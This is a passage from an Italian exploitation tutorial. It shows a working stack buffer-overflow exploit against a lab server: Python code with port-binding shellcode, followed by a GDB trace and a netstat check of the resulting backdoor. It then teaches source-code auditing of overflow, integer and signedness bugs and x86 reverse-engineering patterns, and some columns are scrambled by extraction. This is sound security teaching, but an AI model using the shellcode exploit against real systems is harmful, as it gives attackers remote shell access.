import sys import socket RHOST = sys.argv[1] RPORT = int(sys.argv[2]) # Set ipotetic address (in reverse order) ADDRESS = "\xe0\x32\xe5\xb7" NOP = "\x90" # Configuring code, # On a remote server I have 768 bytes available. # Set 56 bytes of nop instructions buffer = NOP * 64 # PayLoad (port binding shellcode) (176 bytes) buffer = buffer + “\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x74\x07\x31\xdb\x89\xd8\x40\xcd\x80\x31\xc9\x31\xc0”\ “\x31\xdb\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc1\x31\xc0”\ “\x31\xdb\x50\x50\x50\x66\x68\xaa\xaa\xb3\x02\x66\x53\x89\xe2\xb3\x10\x53\xb3\x02\x52”\ “\x51\x89\xca\x89\xe1\xb0\x66\xcd\x80\x31\xdb\x39\xc3\x74\x07\x31\xdb\x89\xd8\x40\xcd”\ “\x80\x31\xc0\x40\x50\x52\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x31\xc0\x31\xdb\x50\x50\x52”\ “\x89\xe1\xb3\x05\xb0\x66\xcd\x80\x89\xc3\x31\xc0\x31\xc9\x6a\x3f\x58\xcd\x80\x31\xc0”\ “\x41\x6a\x3f\x58\xcd\x80\x31\xc0\x41\x6a\x3f\x58\xcd\x80\x31\xc0\x68\x2f\x73\x68\x2f”\ “\x68\x2f\x62\x69\x6e\x89\xe3\x88\x43\x07\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80\x31\xdb”\ “\x89\xd8\x40\xcd\x80\x90\x90\x90" # Set return address (720 bytes) buffer = buffer + ADDRESS * (512/4) c = socket.socket(socket.AF_INET,socket.SOCK_STREAM) c.connect((RHOST, RPORT)) c.send(buffer) print "Sent!" print c.close() ----------------- script-attack.py END ----------La variabile ADDRESS deve essere configurata con l'indirizzo da usare per il salto. Considerando l'indirizzo di buffer che abbiamo visto, dobbiamo decidere il valore da inserire. Qui si decide l'esito dell'exploit. Io scelgo di usare il valore 0xb7e542e0 Avviamo il server settando un breakpoint alla riga 130, root@HackLab:~# gdb VulnServer GNU gdb 6.8-debian Copyright (C) 2008 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 46 di 193
System exploitation using buffer overflow
There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "i486-linux-gnu"... (gdb) break 130 Breakpoint 1 at 0x8048cae: file main.c, line 130. (gdb) run 65535 Starting program: /media/MATTEO-1/Hack_environment/Linux/Demonstrations/VulnServer/VulnServer 65535 [Thread debugging using libthread_db enabled] perfetto, eseguiamo lo script, gdb va a fermarsi sul breakpoint, vediamo lo stato dello stack, e vediamo il valore di EBP [New Thread 0xb7e556b0 (LWP 12648)] [New Thread 0xb7e54b90 (LWP 12658)] ESP: B7E54284 Send() fail! [Switching to Thread 0xb7e54b90 (LWP 12658)] (gdb) x/200 $esp 0xb7e54290: 0x0804a480 0x00000001 0xb7e542a0: 0xb7fb4f88 0xb7e54364 0xb7e542b0: 0x6f742065 0x6d657220 0xb7e542c0: 0x00007265 0x636c6557 0xb7e542d0: 0x746f6d65 0x65732065 0xb7e542e0: 0x90909090 0x90909090 0xb7e542f0: 0x90909090 0x90909090 0xb7e54300: 0x90909090 0x02b0c031 0xb7e54310: 0xcd40d889 0x31c93180 0xb7e54320: 0xe189026a 0x66b001b3 0xb7e54330: 0x66505050 0xb3aaaa68 0xb7e54340: 0x515202b3 0xe189ca89 0xb7e54350: 0xdb310774 0xcd40d889 0xb7e54360: 0x66b004b3 0xc03180cd 0xb7e54370: 0xcd66b005 0x31c38980 0xb7e54380: 0x6a41c031 0x80cd583f 0xb7e54390: 0x2f68c031 0x682f6873 0xb7e543a0: 0x89535007 0x0bb099e1 0xb7e543b0: 0x90909080 0xb7e542e0 0xb7e543c0: 0xb7e542e0 0xb7e542e0 0xb7e543d0: 0xb7e542e0 0xb7e542e0 0xb7e543e0: 0xb7e542e0 0xb7e542e0 0xb7e543f0: 0xb7e542e0 0xb7e542e0 0xb7e54400: 0xb7e542e0 0xb7e542e0 ... (gdb) print $ebp $1 = (void *) 0xb7e543c8
0x0000000d 0x6557f7c4 0x2065746f 0x20656d6f 0x72657672 0x90909090 0x90909090 0xc08580cd 0x51db31c0 0xc18980cd 0x89536602 0x80cd66b0 0x40c03180 0x5050db31 0x6ac931c0 0x6a41c031 0x6e69622f 0xdb3180cd 0xb7e542e0 0xb7e542e0 0xb7e542e0 0xb7e542e0 0xb7e542e0 0xb7e542e0
0xb7fb0560 0x6d6f636c 0x76726573 0x72206f74 0x90909090 0x90909090 0x90909090 0xdb310774 0x016a066a 0xdb31c031 0x5310b3e2 0xc339db31 0xe1895250 0xb3e18952 0x80cd583f 0x80cd583f 0x4388e389 0xcd40d889 0xb7e542e0 0xb7e542e0 0xb7e542e0 0xb7e542e0 0xb7e542e0 0xb7e542e0
Dovremmo aver fatto giusto. Come vedete l'indirizzo 0xb7e542e0 punta in mezzo alle istruzioni NOP. Bene, facciamo proseguire il programma e vediamo che succede. (gdb) continue Continuing. Nessun errore, dovrebbe aver funzionato. Il payload dovrebbe aver eseguito la shell con execve() sostituendo la nuova immagine di processo a quella del thread del server. Dovremmo poter vedere un socket in ascolto sulla porta 43690, controlliamo: Copyright Š Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 47 di 193
System exploitation using buffer overflow root@HackLab:~# netstat -napt Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address tcp 0 0 0.0.0.0:43690 0.0.0.0:* tcp 0 0 0.0.0.0:65535 0.0.0.0:* tcp 0 0 192.168.0.102:65535 192.168.0.102:42907 tcp6 0 0 ::1:48385 :::*
State LISTEN LISTEN CLOSE_WAIT LISTEN
PID/Program name 12683/VulnServer << -- backdoor 12674/VulnServer 12683/VulnServer 12574/java
Eccola! Abbiamo accesso al sistema grazie a VulnServer. 0x0a] L’analisi del codice sorgente Up In questo e nei prossimi capitoli approfondiremo ciò che concerne la revisione del codice sorgente con lo scopo di capire meglio come la sintassi di alto livello viene tradotta in lingaggio macchina ed essere in grado di riconoscere in questo le vulnerabilità introdotte. Revisionare direttamente il codice sorgente è sicuramente la cosa più semplice e ideale per cercare gli errori. Molti software sono open source, tutti possono vederne il codice, migliorarlo e risolverne i problemi. A mio parere questa è sicuramente un'arma vincente in quanto permette di trovare e risolvere velocemente i bug delle applicazioni. Cosa molto più difficile è riconoscere il flusso e gli eventuali errori in un programma già compilato quindi osservandone il codice macchina. Molte persone rivedono il codice. Le motivazioni possono essere varie. A volte è necessario risalire al funzionamento di un programma, altre volte viene fatto per scovare nel codice una vulnerabilità adatta per permettere l'accesso in un sistema ed altre volte è semplicemente un hobby. Affrontiamo il caso più semplice; abbiamo a disposizione il codice sorgente di una applicazione. Se questo software non è di grosse dimensioni possimo revisionare direttamente il codice senza l'aiuto di strumenti particolari, come abbiamo fatto nei precedenti esempi. Essendo codice di alto livello, è fatto per essere capito dall'uomo, quindi è solo una questione di tempo e di pazienza. Ma se invece abbiamo di fronte un progetto imponente composto da decine e decine di pagine di codice è impensabile riuscire a comprenderlo in modo completo. In nostro aiuto ci sono strumenti per "navigare" il codice di alto livello, un'esempio di questi è Cscope o Cbrowser. Immaginiamo di dover modificare il kenel di linux, bè questi strumenti offrono un punto di partenza più vantaggioso che farlo con normali editor di testo. Un'altra categoria di strumenti molto più sofisticata è in grado di ricercare all'interno del codice eventuali bug. C'è da dire che questi strumenti non possono essere in grado di trovare nuovi bug, ma solamente cercare, in base ad un database di bug conosciuti, errori classici. Pertanto nulla può sostituire l'attività di auditing tradizionale manuale compiuta da un esperto. Sempre rimanendo nel caso della revisione di codice sorgente, della famiglia del C, introduciamo tre tipi di approcci possibili, nonchè quelli più utilizzati. Il primo di questi è indicato come Top-Down. Questo non impone all'auditor di arrivare a capire in profondità il funzionamento del programma. Per esempio viene ricercata all'interno del sorgente una specifica vulnerabilità. Questo tipo di approccio è sicuramente veloce in confronto alle altre metodologie. I problemi scovabili con questo metodo saranno però quelli più plateali, che possono essere presenti su una sola riga di codice. Il secondo metodo è descritto come bottom-up. L'auditor dovrà arrivare ad avere una profonda conoscenza del programma, leggendo tutto o quasi il codice che lo compone. L'approccio bottom-up Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 48 di 193
System exploitation using buffer overflow
parte con l'indagine di main e si diramerà verso tutti gli altri sorgenti. Attraverso questo tipo di indagine è possibile riconoscere i problemi intrinsechi del programma ed i più complessi. Il terzo metodo ritenuto alla fine il migliore, è una via di mezzo tra queste due appena descritte. Che unisce la velocità del primo alla meticolosità dell'ultimo, ottenendo infine una metodologia accettabile come tempo e come probabilità di successo. Vulnerabilità comuni e non... Le prime vulnerabilità scoperte e sfruttate sono quelle ancora oggi più pericolose. Nel networking il linguaggio di programmazione maggiormente utilizzato è sicuramente il C ed il C++, questi sono i linguaggi principali per lo sviluppo di applicazioni server. Di questo linguaggio vi sono una serie di funzioni dette "pericolose", il loro utilizzo viene oggi sconsigliato. Sono tutte o quasi funzioni che lavorano con le stringhe. Come abbiamo accennato, alcune sono strcpy(), strcat(), gets() ecc... e si occupano di copiare dati da un stringa sorgente ad una stringa destinazione. Queste funzioni non effettuano alcun controllo sulle dimensioni delle stringhe ricevute rispetto alle dimensioni della stringa dove i dati verranno copiati. La sintassi di queste funzioni è per lo più simile alla seguente: function_string_copy(ptr string destination, ptr string source) Nello scrivere la sintassi ho voluto mettere in luce una cosa. I due argomenti sono due puntatori alle rispettive stringhe. Pertanto la funzione non è per nulla cosciente della lunghezza delle stringhe, essa si limiterà a copiare i dati dalla sorgente alla destinazione fino a che non incontra un carattere nullo, che segnala la fine della stringa. Le stringhe ricevute in input dalla funzione (ptr string source) avranno una struttura del tipo: "text\0". Tutte dovranno finire con \0 per segnalare alla funzione di copia la fine della stringa. Ora vedremo alcuni esempi di codice sorgente in C i quali contengono errori che permettono operazioni di questo tipo. Evitando gli esempi più banali, Immaginiamo il seguente spezzone di codice: .... char dest_buf[256]; char not_term_buf[256]; strncpy(not_term_buf,input,sizeof(not_term_buf)); strcpy(dest_buf,not_term_buf); ... Anche se apparentemente strncpy() controlla la dimensione del più di 256 byte, il rischio rimane. Rimane perchè strncpy non fine della copia, pertanto se input è lungo 256 byte senza un strcpy() seguente non conosce la dimensione di not_term_buf e carattere nullo. Per risolvere questa vulnerabilità è sufficiente inserire tra tipo:
buffer di destinazione e non copia inserisce un carattere nullo alla terminatore nullo la funzione copierà fino a che non trova un le due funzioni una riga di questo
not_term_buf[sizeof(not_term_buf) - 1] = 0; Riconoscere la vulnerabilità non è stato un compito poi così arduo in questo caso. Un altro punto in cui è molto frequente trovare errori di progettazione è proprio la dove vi è un controllo. Molto spesso vi sono dei cicli il cui compito è quello di verificare dimensioni e formati dei dati. La dove vi è un input esterno c'è sempre un'altissima probabilità di trovarne. Questo perchè l'input può essere di qualsiasi formato e lunghezza. Un buon controllo deve tenere in considerazione tutte i casi possibili. Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 49 di 193
System exploitation using buffer overflow
Quello che vedremo ora è codice vulnerabile preso da una versione di snort: while(index < end) { /* get the fragment length (31 bits) and move the pointer to the start of the actual data */ hdrptr = (int *) index; length = (int)(*hdrptr & 0x7FFFFFFF); if(length > size) { DebugMessage(DEBUG_FLOW, “WARNING: rpc_decode calculated bad“ “length: %d\n”, length); return; } else { total_len += length; index += 4; for (i=0; i < length; i++,rpc++,index++,hdrptr++) *rpc = *index; } } l'intento sarebbe quello di riassemblare frammenti RPC rimovendo l'header del protocollo RPC. Il buffer per l'output è lo stesso usato per l'input ed è referenziato con index e rpc. total_len rappresenta la dimensione dei dati scritti nel buffer. size dovrebbe invece essere la dimensione dei dati del pacchetto in totale. Il problema sta nel controllo sulla lunghezza del frammento RPC corrente con la lunghezza totale dei dati. Il controllo è presente ma non è sufficiente. Il modo giusto di procedere sarebbe invece controllare la dimensione di tutti i frammenti RPC con la dimensione del buffer di output. Un'altro esempio di stringa non terminata con '\0' ... char npath[MAXPATHLEN]; int i; for (i = 0; *name != ‘\0’ && i < sizeof(npath) - 1; i++, name++) { npath[i] = *name; if (*name == ‘“‘) npath[++i] = ‘“‘; } npath[i] = ‘\0’; ... La condizione del for si basa sull'occorrenza del carattere nullo '\0' per copiare da un buffer ad un altro. All'interno del ciclo for per mezzo del carattere virgolette si tenta di riservare spazio per il carattere nullo. Ma se tale carattere si trova in ultima posizione, il carattere nullo verrebbe scritto fuori dal buffer. Il problema delle stringhe non terminate con il carattere nullo pone nella situazione del primo esempio visto. Quando la stringa viene posizionata nello stack e trattata con la famiglia di funzioni viste sopra, risulta impossibile calcolarne la lughezza. Un problema molto grave e molto presente oggi nelle applicazioni è quello relativo al confronto Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 50 di 193
System exploitation using buffer overflow
di valori con segno. Prima di affrontarlo riepiloghiamo il modo con il quale i dati vengono rappresentati in informatica e cosa dice la definizione del linguaggio C per quanto riguarda variabili con segno o senza. In informatica i numeri negativi sono memorizati in comlemento a 2. Il primo bit identifica il segno. Se tutti i restanti bit saranno inverititi ed il numero è negativo. Un tipo int avrà quindi a disposizione 15 bit per il valore ed uno riservato al segno. Pertanto il range dei possibili valori sarà -32767 e +32767. Cosa ben diversa succede quando si ha a che fare con un tipo unsigned. Questo avrà a disposizione 16 bit. Quindi il range sarà completamente diverso, 0 e +65535. Questa sottigliezza viene spesso trascurata dal punto di vista della programmazione. Se i tipi vengono usati in modo improprio durante i controlli possono generare grossi problemi. Vediamone un esempio, (discovered in 2002 by Mark Litchfield of NGSSoftware.) len_to_read = (r->remaining > bufsiz) ? bufsiz : r->remaining; len_read = ap_bread(r->connection->client, buffer, len_to_read); I tipi dei dati sono i seguenti: signed int bufsiz signed off_t r->remaining La prima riga assegna a len_to_read la variabile minore tra bufsiz e r->remaining entrambe con segno. Nel caso in cui r->remaining è negativo a len_read verrebbe passato un valore negativo. Come si intuisce dagli argomenti, la funzione ap_bread() eseguirà una copia in stile memcpy(), quindi il valore negativo sarà interpretato come unsigned. Quindi il primo bit di segno diverrà significativo generando un numero di dimensione molto grande. Ad esempio il numero negativo -14 dopo un cast in unsigned diventa 4294967282. Le conseguenze sono intuibili. Possiamo anche dimostrarlo usando printf per la conversione. void main() { // Signed comparison vulnerabilities :O int a; a = -14; printf("Value of signed a is: %d (%X)\n",a,a); printf("After casting with unsigned has become %u (%X)\n",a,a); } root@HackLab:~# cc disasm_4.c -o disasm_4 root@HackLab:~# ./disasm_4 Value of signed a is: -14 (FFFFFFF2) After casting with unsigned has become 4294967282 (FFFFFFF2) I numeri a seconda dell'interpretazione assumono valori molto diversi. La soluzione a questo problema sta nell'usare tutte variabili senza segno. Esistono vulnerabilità riguardo i numeri interi. Quando una variabile viene incrementata oltre il suo valore massimo si ha un "integer overflow". Questa vulnerabilità può essere utilizzata per controllare la quantità di dati copiata in buffer allocati e permette di eseguire la copia di molti più dati della reale capacità del buffer. char *buf; int allocation_size = attacker_defined_size + 16; buf = malloc(allocation_size); Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 51 di 193
System exploitation using buffer overflow
memcpy(buf,input,attacker_defined_size); attacker_defined_size ha un valore compreso tra -1 e -16. In questo modo il buffer allocato avrà dimensioni troppo piccole in relazione alla dimensione dei dati in arrivo. Fate caso che attacker_defined_size è considerato unsigned da memcpy(), questa copia una enorme quantità di byte in buf. Altro problema ancora sugli interi sono le conversioni tra tipi differenti, le conseguenze possono essere diverse e dipendono dai casi. La conversione da un integer più grande ad uno più piccolo (int to short), può provocare il troncamento dell'int, se questo era con segno può dar luogo a risultsi imprevedibili sempre causati dalla notazione in complemento a due. La conversione di un tipo corto in uno più ampio può dar luogo ad analoghi problemi. Si consideri a tiolo di esempio il valore signed short -1; convertendolo in un unsigned integer avremo un valore, se vogliamo espresso in bit, di oltre 4 Giga Bytes. L'esempio: void main() { short source = -1; unsigned int destination; destination = source; printf("Source: %X\nDestination: %X\n",source,destination); printf("Decimal notation:\n"); printf("Source: %d\nDestination: %u\n",source,destination); } root@HackLab:~# cc disasm_5.c -o disasm_5 disasm_5.c: In function 'main': disasm_5.c:7: warning: incompatible implicit declaration of built-in function 'printf' disasm_5.c:2: warning: return type of 'main' is not 'int' root@HackLab:~# ./disasm_5 Source: FFFFFFFF Destination: FFFFFFFF Decimal notation: Source: -1 Destination: 4294967295 Purtroppo nel C e C++ la conversione tra interi short int, con e senza segno puù risultare complicata e fonte di errori. Vi sono altre vulnerabilità, anche se meno diffuse di quelle appena viste, che convolgono le variabili non inizializzate, altre che riguardano le variabili dal contenuto indefinito. Quest'ultimo tipo di problemi è piuttosto difficile da sfruttare perchè occorre prevedere quali dati sono contenuti nello stack o nello heap al momento dell'utilizzo. Questi dati sono ciò che è rimasto da un'attività precedente in memoria. Un esempio poterbbe essere il seguente: int vuln_fn(char *data,int some_int) { char *test; if(data) { test = malloc(strlen(data) + 1); strcpy(test,data); some_function(test); } if(some_int < 0) { free(test); return -1; } Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 52 di 193
System exploitation using buffer overflow
free(test); return 0; } Se data è NULL test non viene inizializzato e, al momento del passaggio alla funzione successiva, contiene dati indefiniti. 0x0b] Analisi tramite reverse engineering Up Quando non si hanno a disposizione i sorgenti, è necessario revisionare il codice compilato. Diventa di importanza fondamentale la conoscenza dell'assembly e, soprattutto, dobbiamo studiare come le istruzioni di linguaggio superiore vengono tradotte in linguaggio macchina. Uno dei problemi di questa pratica è che le istruzioni generate dopo la compilazione variano a seconda del compilatore e linguaggio utilizzato. Ora cercheremo di parlare dei costrutti tipici nel modo più generale possibile. - Stack frames Lo stack frames è una parte dello stack dedicata alla funzione, entro il quale vengono allocate variabili locali e argomenti. Il più comune layout di stack frames per una funzione è quando il registro "frame pointer" EBP viene usato come puntatore costante allo stack frame precedente. Il frame pointer è anche una locazione costante relativa a dove la funzione accede ai suoi argomenti e variabili locali. Il prologo per una funzione che usa uno stack frame tradizionale è il seguente: push ebp mov ebp, esp sub esp, 5ch
// Salva il vecchio frame pointer nello stack // Setta il nuovo frame pointer in ESP // Riserva spazio per le variabili locali
Quindi rispetto ad EBP avremo le variabili locali allocate ad un offset negativo. Mentre gli argomenti delle funzioni sono localizzate ad un offset positivo. Il primo argomento della funzione sarà localizzato a EBP+8. Generalmente i disassemblatori (facciamo rif. a IDA Pro) sostituiscono 8 con una variabile, ad esempio scriveranno EBP+arg_0. Molto del codice generato da compilatori come quelli di Visual C++ e gcc utilizzano questo layout. - Convenzioni di chiamata Esistono due metodi principali per chiamare una funzione, "C calling convention" e "stdcall calling convention". la prima non è riferita solamente al codice C ma è un modo per passare argomenti e rispristinare lo stack del programma. Con questo tipo di convenzione gli argomenti della funzione sono inseriti nello stack come essi appaiono nel codice sorgente, quindi: some_function(some_pointer,some_integer); diventa in assembly: push some_integer push some_pointer call some_function add esp, 8 Siccome vi sono due argomenti da 4 byte per la funzione, al suo ritorno lo stack pointer viene Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 53 di 193
System exploitation using buffer overflow
ripristinato di 8 bytes. Un'altro sistema per rispristinare lo stack pointer sarebbe farlo 4 byte per volta per mezzo di due pop. Il secondo tipo di convenzione comunemente presente nel codice C e C++ è stdcall. L'ordine di passaggio degli argomenti è lo stesso appena visto. Ciò che cambia è il tipo di ritorno dalla funzione, che sarà RET 0ch ad esempio per rialsciare 12 bytes dallo stack. - General Layout Prima di vedere i costrutti classici della programmazione strutturata, vediamo i layout generali per la struttura di una funzione. Questi sono spesso variabili. La funzione inizierà nella maggior parte dei casi con un prologo e finirà con un epilogo. Il prologo lo abbiamo già visto parlando dello stack frame. Una funzione non ritornerà sempre per mezzo di una istruzione RET, il compilatore può ottimizzare il codice inserendo una istruzione JMP verso una lcoazione di memoria precedente alla chiamata. Un compilatore che genera invece dei layout non usuali è MSVC++. Questo usa degli algoritmi euristici i quali prevedono quali funzioni saranno più frequentemente usate piuttosto di altre, date queste informazioni sistemerà le funzioni più utilizzate vicine creando un unico flusso di programma ed invece sistemerà quelle meno utilizzate in locazioni di memoria lontanta dalla principale. - if statment Il costrutto if è sicuramente uno dei più diffusi costrutti decisionali. Generalmente questo è definibile in assembly con una istruzione di confronto come CMP ed un salto condizionato subito di seguito. Ad esempio: int some_int; if(some_int != 32) some_int = 32; Una volta compilato, questo frammento di codice diventa: mov eax, [ebp-4] // Muove il puntatore alla variabile some_int in EAX cmp eax, 32 // Esegue un confrono tra EAX e il vlaore 32 jnz past_next_instructions // Esegue un salto condizionato dal risultato di una operazione aritmetico-logica tra numeri senza segno mov eax, 32 // Se il salto non avviene la variabile a cui punta EAX viene settata con 32 - Cicli for e while Il tipo di ciclo a livello di assembly non è facilmente distinguibile. Questo non importa. I cicli sono spesso gli elementi chiave di tutta l'operazione di auditing del codice. Essi sono caratterizzati solitamente da porzioni di codice ripetute. Esempio: char *ptr, *output, *outputend; while(*ptr) { *output++ = *ptr++; if(output >= outputend) break; } diamo per assunto che nella funzione le variabili sono riposte nei registri nel modo seguente: ECX = ptr; EDX = output; EBP+8 = outputend Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 54 di 193
System exploitation using buffer overflow
mov al, [ecx] test al, al jz loop_end
// Muove nella parte bassa di AL ptr // Simula una AND per verificare se *ptr = 0 // Se *ptr = 0 il loop termina
mov [edx], al inc ecx inc edx
// Prima setta *output al valore di *ptr // icrementa *ptr // icrementa *output
cmp edx, [ebp+8] jae loop_end jmp loop_begin
// Simula una sottrazzione tra ouputend e output // Se il flag riporto non è settato esce dal loop // Altrimenti prosegue
La costruzione dei cicli non è semplice come per gli if, ma la si trova molto spesso. - switch statment I costrutti switch sono piuttosto complessi. Spesso rendono il listato assembly un pò strano e ostico da capire. Possono essere benissimo strutturati come una serie di if statment uno in fila all'altro. int some_int,other_int; switch(some_int) { case 0: other_int = 0; break; case 1: other_int = 10; break; case 2: other_int = 30; break; default: other_int = 50; break; } Molto spesso i decompilatori efficenti come IDA riconoscono questa serie di if e inseriscono la rappresentazione dell'iterazione switch: some_int = eax, other_int = ebx cmp eax, 2 ja default_case jmp switch_jmp_table[eax*4]; case_0: xor ebx, ebx jmp end_switch case_1: mov ebx, 10 jmp end_switch case 2: mov ebx, 30 jmp end_switch default_case: mov ebx, 50 end_switch: - memcpy()-like constructs Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 55 di 193
System exploitation using buffer overflow
Nei compilatori moderni la funzione memcpy() non viene tradotta (come ci si aspetterebbe) in una chiamata ad una libreria standard del C. Nella maggior parte dei casi, l'operazione di copia viene ottimizzata dal compilatore con una sequenza di istruzini, queste sono molto più veloci rispetto a dover effettuare una call. Una sequenza di istruzioni atta a copiare un'area di memoria in un'altra è la seguente: mov esi, source_address mov ebx, ecx shr ecx, 2 mov edi, eax repe movsd (repe) mov ecx, ebx and ecx, 3 repe movsb
// // // // //
In esi c'è il puntatore al buffer sorgente In ECX si trova la lunghezza della stringa Viene divisa per 4 Destinazione in EAX Questa istruzione copia aree di 4 byte alla volta (movsd) ECX volte
// Muove EBX in ECX // Divide per 8 // Infatti movsb copia gli 8 bit restanti
La funzione memset() ha un costrutto circa identico, ma avrebbe utilizzato l'istruzione repe closd. - strlen()-like constructs Anche la funzione strlen() viene ottimizzata dal compilatore con una serie di funzioni. All'inizio può sembrare ostica da capire. Generalmente è definita con le seguenti istruzioni: mov edi, string or ecx, 0xffffffff xor eax, eax repne scasb carattere nullo not ecx dec ecx
// L'indirizzo della stringa viene spostato in EDI // // Viene azzerato EAX // Questa istruzione, fa avanzare EDI fino al carattere successivo al // Qui ECX viene cambiato di segno // e poi decrementato per ottenere la effettiva lunghezza della stringa
Questi costrutti sono largamente utilizzati. I costrutti appena visti sono relativi al linguaggio C. Oltre al C anche il C++ è largamente utilizzato nella progettazione di applicativi server. I costrutti del C++ sono simili a quelli del C, ma ne vengono introdotti alcuni di nuovi. - Il puntatore this Il puntatore this rappresenta l'istanza di una classe. Quando si usa un membro di una classe, il puntatore this deve essere passato alla funzione come primo argomento. Solitamente avviene in modo implicito. Nel sorgente assembly non dovremo specificarlo come argomento. Questo sarà autoamticamente passato e utilizzabile all'interno della funzione. Quando il codice sorgente viene tradotto, il puntatore this appare. Solitamente prima della chiamata alla funzione il puntatore viene passato attraverso il registro ECX. Le seguenti istruzioni sono un esempio: push edi push esi push [ebp+arg_0] lea ecx, [ebx+5Ch] della call call ?ParseInput@HTTP_HEADERS@@QAEHPBDKPAK@Z
// Il puntatore viene messo in ECX prima
Siccome il registro ECX è di tipo volatile, la funzione sistemerà il puntatore in un'altro registro durante l'esecuzione. Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 56 di 193
System exploitation using buffer overflow
- Construtti di classe I construtti delle classi sono piuttosto complessi. Il modo più semplice di procedere è cercare il costruttore ed il distruttore della classe. Generalmente il costruttore è una funzione ove non ci sono iterazioni condizionali, ma solo una serie di istruzioni per l'allocazione di variabili. Il distruttore, a sua volta, è una funzione che tipicamente libera semplicemente la memoria allocata precedentemente dal costruttore. - Vtables virtual function Queste chiamate sono presenti solitamente nei costruttori e rendono l'operazione di auditing molto complicata. Le istruzioni tipiche che si trovano sono: mov lea push push mov push push call
eax, [esi] // Puntatore this in EAX ecx, [ebp+var_8] ebx ecx ecx, esi [ebp+arg_0] [ebp+var_4] dword ptr [eax+24h] // Chiamata
In ESI è contenuto il puntatore this, alcune funzioni sono chiamate da vtable. Per scoprire dove va questa funzione dobbiamo conoscere la struttura di vtable. Questa è solitamente presente nel costruttore della classe. Ad esempio il seguente codice si può trovare nel costruttore: mov
dword ptr [esi], offset vtable
Dopo aver visto tutti i costrutti principali, ricordo che abbiamo affrontato il caso peggiore, ovvero della compilazine di sorgenti in C e C++ mentre come già detto, la compilazione di sorgneti in linguaggi come Visual Basic produce un assembly più facile da capire. Infine vediamo alcune normi importanti da ricordare mentre si esegue l'auditing del codice: + Il registro utilizzato per il valore di ritorno di una funzione è sempre EAX. + Le istruzioni di salto delle famiglie JL/JG sono usate dopo confronti di variabili con segno. + Le istruzioni di salto delle famiglie JB/JA sono usate dopo confronti di variabili senza segno. + MOVSX estende il valore del registro di destinazione da 8 a 16 oda 16 a 32 mettendo degli 0 o 1 a seconda del segno Nonostante i nostri sforzi per comprendere il flusso ed i costrutti presenti nel programma osservato, può accadere che la ricostruzione eseguita dal disassemblatore non sia sufficientemente chiara per ritrovare gli esempi fatti fino ad ora. In questo caso è meglio ricorrere all'approccio più elementare, ovvero passare all'analisi diretta delle syscall ove è più probabile trovare i problemi. Come già detto, generalmente queste funzioni sono strcpy(), strcat(), sprintf() e derivate. In più su windows esistono tutta una serie di funzioni molto simili a queste che differiscono leggermente come nome, tutte devono essere monitorate. Un'altra comune vulnerabilità di windows è quella dovuta al sesto argomento della funzione MultiByteToWideChar. Per capire meglio vediamone la sintassi: int MultiByteToWideChar(uCodePage, dwFlags, lpMultiByteStr, cchMultiByte, lpWideCharStr, cchWideChar) UINT uCodePage; DWORD dwFlags; LPCSTR lpMultiByteStr;
/* codepage /* character-type options /* address of string to map
Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
*/ */ */ Pag. 57 di 193
System exploitation using buffer overflow
int cchMultiByte; LPWSTR lpWideCharStr; int cchWideChar;
/* number of characters in string */ /* address of wide-character buffer */ /* size of wide-character buffer */
La funzione converte una stringa standard in una stringa di caratteri unicode. (wide-character) "size-wide character buffer" specifica il numero di wide-character di cui il buffer di destinazione è composto. NON la dimensione in byte. Un errore classico è passare come sesto argomento sizeof(). Il parametro richiesto non è la dimensione totale del buffer. E' evidente il problema. Un carattere "wide" è di 2 byte, mentre uno normale è un solo byte. Quindi la quantità di byte finali copiati sono il doppio del normale. Quindi lo stack viene sovrascritto di tanti byte tanto quanti sono gli elementi "wide" del buffer. Probabilmente osservando semplicemente le chiamate syscall presenti nel codice è raro trovare un evidente problema di sicurezza. Il metodo da adottare è la pate fondamentale al di là delle nostre conoscenze sull'assembly. Uno dei punti più importanti è stabilire un "entry point" della nostra sessione di auditing. Per punto di ingresso intendo un momento durante l'esecuzione del programma in cui vale la pena cominciare ad osservarne il codice passo passo durante la sua esecuzione. Nella maggior parte dei casi il punto ideale per questo entry-point è la dove il programma accetta un input dall'esterno. Anni fa il teamwork di sviluppo di EYE (il software di scansione) bombardò Micosoft IIS 5.0 in tutti i punti dove esso accetta un input con stringhe composte dal carattere 'A'. Il risultato fu che IIS ad un certo punto andò in blocco. Indagando nella memoria si scopri che nel momento del blocco il registro EIP conteneva il valore "0x41414141". Ovvero la codifica esadecimale di 'A'. Lo stack era stato sovrascritto andando a coprire la locazione di memoria ove era memorizzato un indirizzo di ritorno. Molte funzioni sono però molto complesse per poter essere capite correttamente leggendone il disassemblato. In aiuto giungono alcuni software come IDA Pro. Questo possiede una funzionalità in grado di produrre dei grafici costituiti da frammenti di codice che mostrano la funzioni gerarchicamente. Vediamo alcuni esempi. (da "shellcoder's handbook") - MS SQL Server bug Il problema in questione è stato scoperto da Litchfield David, è legato ad una sprintf() non controllata all'interno di una routine che processa una pacchetto proveniente dalla rete. mov push push push lea push call add
